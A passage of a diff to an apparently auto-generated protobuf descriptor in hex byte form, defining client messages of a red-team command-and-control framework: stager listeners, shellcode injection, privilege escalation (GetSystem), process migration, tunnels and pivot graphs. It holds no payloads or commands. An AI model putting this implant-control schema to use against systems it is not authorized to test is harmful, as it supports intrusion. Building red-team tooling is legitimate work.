0x65, 0x72, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, + 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, + 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, + 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, + 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, + 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, + 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, + 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, + 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, + 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, + 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, + 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, + 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, + 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, + 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, + 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, - 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, - 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, - 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, - 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, - 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, - 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, - 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, - 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, - 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, - 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, - 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, - 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, - 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, - 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, - 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, - 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, + 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, + 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, + 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, + 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, + 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, + 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, + 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, + 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, + 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, + 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, + 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, + 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, + 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x22, 0xed, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 